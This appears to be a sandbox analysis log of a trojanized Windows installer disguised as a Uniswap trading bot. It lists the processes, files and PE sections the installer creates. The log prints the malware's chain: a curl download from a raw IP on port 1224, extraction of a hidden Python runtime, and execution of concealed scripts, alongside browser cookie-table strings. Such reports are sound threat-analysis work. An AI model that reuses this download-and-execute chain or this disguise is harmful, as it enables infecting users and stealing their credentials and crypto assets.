Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE cookies(creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,top_frame_site_key TEXT NOT NULL,name TEXT NOT NULL,value TEXT NOT NULL,encrypted_value BLOB NOT NULL,path TEXT NOT NULL,expires_utc INTEGER NOT NULL,is_secure INTEGER NOT NULL,is_httponly INTEGER NOT NULL,last_access_utc INTEGER NOT NULL,has_expires INTEGER NOT NULL,is_persistent INTEGER NOT NULL,priority INTEGER NOT NULL,samesite INTEGER NOT NULL,source_scheme INTEGER NOT NULL,source_port INTEGER NOT NULL,is_same_party INTEGER NOT NULL);
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);

Source: unknown	Process created: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe "C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe"
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv \| "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe"
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1684 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2056 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6544672486 --mojo-platform-channel-handle=2288 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\.pyp\python.exe "C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/pay
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/mlip
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe -m pip install wxPython
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv \| "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1684 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2056 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6544672486 --mojo-platform-channel-handle=2288 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\.pyp\python.exe "C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/pay
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe C:\Users\user\.n2/mlip
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath "
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Users\user\.pyp\python.exe C:\Users\user\.pyp\python.exe -m pip install wxPython
Source: C:\Users\user\.pyp\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"

Source: ffmpeg.dll.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .00cfg
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .gxfg
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .retplne
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .rodata
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: .voltbl
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: CPADinfo
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: section name: malloc_h
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .voltbl
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll.0.dr	Static PE information: section name: .00cfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll.0.dr	Static PE information: section name: .voltbl
Source: vulkan-1.dll.0.dr	Static PE information: section name: _RDATA
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll0.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll0.0.dr	Static PE information: section name: .00cfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll0.0.dr	Static PE information: section name: .voltbl
Source: libEGL.dll0.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .00cfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .voltbl
Source: libGLESv2.dll0.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .00cfg
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .gxfg
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .retplne
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .rodata
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: .voltbl
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: CPADinfo
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: _RDATA
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: section name: malloc_h
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .00cfg
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: .voltbl
Source: vk_swiftshader.dll0.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .00cfg
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll0.0.dr	Static PE information: section name: .voltbl
Source: vulkan-1.dll0.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node2.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node6.0.dr	Static PE information: section name: _RDATA
Source: node.napi.node8.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.21.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.21.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libEGL.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\ffmpeg.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\keccak\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\ffmpeg.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\secp256k1\prebuilds\win32-x64\secp256k1.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\System.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\uniswap-sniper-bot-with-gui.exe	Jump to dropped file
